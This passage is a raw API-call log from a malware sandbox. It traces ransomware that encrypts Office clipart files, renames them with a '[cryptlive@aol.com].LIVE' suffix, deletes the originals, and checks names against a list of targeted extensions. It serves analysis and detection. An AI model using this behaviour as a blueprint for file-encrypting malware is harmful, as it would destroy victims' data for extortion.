hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.687] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0152.688] GetLastError () returned 0x0 [0152.688] ReadFile (in: hFile=0x1b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1364, lpOverlapped=0x0) returned 1 [0152.727] WriteFile (in: hFile=0x3b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0152.728] ReadFile (in: hFile=0x1b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.728] WriteFile (in: hFile=0x3b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.728] SetEndOfFile (hFile=0x3b8) returned 1 [0152.728] CloseHandle (hObject=0x3b8) returned 1 [0152.728] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.728] SetEndOfFile (hFile=0x1b4) returned 1 [0152.730] CloseHandle (hObject=0x1b4) returned 1 [0152.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf")) returned 1 [0152.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0152.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0152.732] lstrlenW (lpString=".doc") returned 4 [0152.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.732] lstrlenW (lpString=".docx") returned 5 [0152.732] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.732] lstrlenW (lpString=".pdf") returned 4 [0152.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.732] lstrlenW (lpString=".xls") returned 4 [0152.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.732] lstrlenW (lpString=".xlsx") returned 5 [0152.732] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.732] lstrlenW (lpString=".ppt") returned 4 [0152.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0152.732] lstrlenW (lpString=".zip") returned 4 [0152.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.732] lstrlenW (lpString=".rar") returned 4 [0152.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.732] lstrlenW (lpString=".bz2") returned 4 [0152.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.733] lstrlenW (lpString=".7z") returned 3 [0152.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0152.733] lstrlenW (lpString=".dbf") returned 4 [0152.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0152.733] lstrlenW (lpString=".1cd") returned 4 [0152.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0152.733] lstrlenW (lpString=".jpg") returned 4 [0152.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0152.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0152.733] lstrlenW (lpString=".doc") returned 4 [0152.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.733] lstrlenW (lpString=".docx") returned 5 [0152.733] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.733] lstrlenW (lpString=".pdf") returned 4 [0152.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.733] lstrlenW (lpString=".xls") returned 4 [0152.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.733] lstrlenW (lpString=".xlsx") returned 5 [0152.733] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.733] lstrlenW (lpString=".ppt") returned 4 [0152.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0152.733] lstrlenW (lpString=".zip") returned 4 [0152.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.733] lstrlenW (lpString=".rar") returned 4 [0152.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.733] lstrlenW (lpString=".bz2") returned 4 [0152.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.733] lstrlenW (lpString=".7z") returned 3 [0152.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0152.734] lstrlenW (lpString=".dbf") returned 4 [0152.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0152.734] lstrlenW (lpString=".1cd") returned 4 [0152.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0152.734] lstrlenW (lpString=".jpg") returned 4 [0152.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.734] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.734] lstrlenW (lpString="J0105384.WMF") returned 12 [0152.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0152.962] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5880) returned 1 [0152.962] CloseHandle (hObject=0x1f8) returned 1 [0152.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf")) returned 0x20 [0152.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0152.963] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.963] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0152.965] GetLastError () returned 0x0 [0152.965] ReadFile (in: hFile=0x1f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x16f8, lpOverlapped=0x0) returned 1 [0152.971] WriteFile (in: hFile=0x350, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0152.973] ReadFile (in: hFile=0x1f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.973] WriteFile (in: hFile=0x350, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.973] SetEndOfFile (hFile=0x350) returned 1 [0152.973] CloseHandle (hObject=0x350) returned 1 [0152.973] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.973] SetEndOfFile (hFile=0x1f8) returned 1 [0152.976] CloseHandle (hObject=0x1f8) returned 1 [0152.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0153.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0153.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0153.000] lstrlenW (lpString=".doc") returned 4 [0153.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.000] lstrlenW (lpString=".docx") returned 5 [0153.001] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.001] lstrlenW (lpString=".pdf") returned 4 [0153.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.001] lstrlenW (lpString=".xls") returned 4 [0153.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.001] lstrlenW (lpString=".xlsx") returned 5 [0153.001] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.001] lstrlenW (lpString=".ppt") returned 4 [0153.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0153.001] lstrlenW (lpString=".zip") returned 4 [0153.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.001] lstrlenW (lpString=".rar") returned 4 [0153.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.001] lstrlenW (lpString=".bz2") returned 4 [0153.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.001] lstrlenW (lpString=".7z") returned 3 [0153.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0153.001] lstrlenW (lpString=".dbf") returned 4 [0153.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0153.001] lstrlenW (lpString=".1cd") returned 4 [0153.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0153.001] lstrlenW (lpString=".jpg") returned 4 [0153.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0153.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0153.001] lstrlenW (lpString=".doc") returned 4 [0153.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.001] lstrlenW (lpString=".docx") returned 5 [0153.002] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.002] lstrlenW (lpString=".pdf") returned 4 [0153.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.002] lstrlenW (lpString=".xls") returned 4 [0153.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.002] lstrlenW (lpString=".xlsx") returned 5 [0153.002] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.002] lstrlenW (lpString=".ppt") returned 4 [0153.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0153.002] lstrlenW (lpString=".zip") returned 4 [0153.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.002] lstrlenW (lpString=".rar") returned 4 [0153.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.002] lstrlenW (lpString=".bz2") returned 4 [0153.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.002] lstrlenW (lpString=".7z") returned 3 [0153.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0153.002] lstrlenW (lpString=".dbf") returned 4 [0153.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0153.002] lstrlenW (lpString=".1cd") returned 4 [0153.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0153.002] lstrlenW (lpString=".jpg") returned 4 [0153.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.002] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.002] lstrlenW (lpString="J0105412.WMF") returned 12 [0153.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0153.003] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=9400) returned 1 [0153.003] CloseHandle (hObject=0x3b4) returned 1 [0153.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf")) returned 0x20 [0153.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0153.004] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.004] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0153.005] GetLastError () returned 0x0 [0153.005] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x24b8, lpOverlapped=0x0) returned 1 [0153.044] WriteFile (in: hFile=0x1b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x24c0, lpOverlapped=0x0) returned 1 [0153.045] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.045] WriteFile (in: hFile=0x1b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.045] SetEndOfFile (hFile=0x1b0) returned 1 [0153.045] CloseHandle (hObject=0x1b0) returned 1 [0153.045] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.045] SetEndOfFile (hFile=0x3b4) returned 1 [0153.047] CloseHandle (hObject=0x3b4) returned 1 [0153.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0153.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0153.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0153.049] lstrlenW (lpString=".doc") returned 4 [0153.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.049] lstrlenW (lpString=".docx") returned 5 [0153.049] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.049] lstrlenW (lpString=".pdf") returned 4 [0153.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.049] lstrlenW (lpString=".xls") returned 4 [0153.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.049] lstrlenW (lpString=".xlsx") returned 5 [0153.049] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.049] lstrlenW (lpString=".ppt") returned 4 [0153.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0153.049] lstrlenW (lpString=".zip") returned 4 [0153.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.049] lstrlenW (lpString=".rar") returned 4 [0153.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.049] lstrlenW (lpString=".bz2") returned 4 [0153.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.049] lstrlenW (lpString=".7z") returned 3 [0153.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0153.049] lstrlenW (lpString=".dbf") returned 4 [0153.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0153.049] lstrlenW (lpString=".1cd") returned 4 [0153.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0153.049] lstrlenW (lpString=".jpg") returned 4 [0153.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0153.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0153.050] lstrlenW (lpString=".doc") returned 4 [0153.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.050] lstrlenW (lpString=".docx") returned 5 [0153.050] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.050] lstrlenW (lpString=".pdf") returned 4 [0153.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.050] lstrlenW (lpString=".xls") returned 4 [0153.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.050] lstrlenW (lpString=".xlsx") returned 5 [0153.050] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.050] lstrlenW (lpString=".ppt") returned 4 [0153.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0153.050] lstrlenW (lpString=".zip") returned 4 [0153.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.050] lstrlenW (lpString=".rar") returned 4 [0153.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.050] lstrlenW (lpString=".bz2") returned 4 [0153.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.050] lstrlenW (lpString=".7z") returned 3 [0153.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0153.050] lstrlenW (lpString=".dbf") returned 4 [0153.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0153.050] lstrlenW (lpString=".1cd") returned 4 [0153.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0153.050] lstrlenW (lpString=".jpg") returned 4 [0153.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.051] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.051] lstrlenW (lpString="J0105496.WMF") returned 12 [0153.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0153.051] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5156) returned 1 [0153.051] CloseHandle (hObject=0x3b4) returned 1 [0153.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf")) returned 0x20 [0153.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0153.052] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.052] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0153.053] GetLastError () returned 0x0 [0153.053] ReadFile (in: hFile=0x3b4, 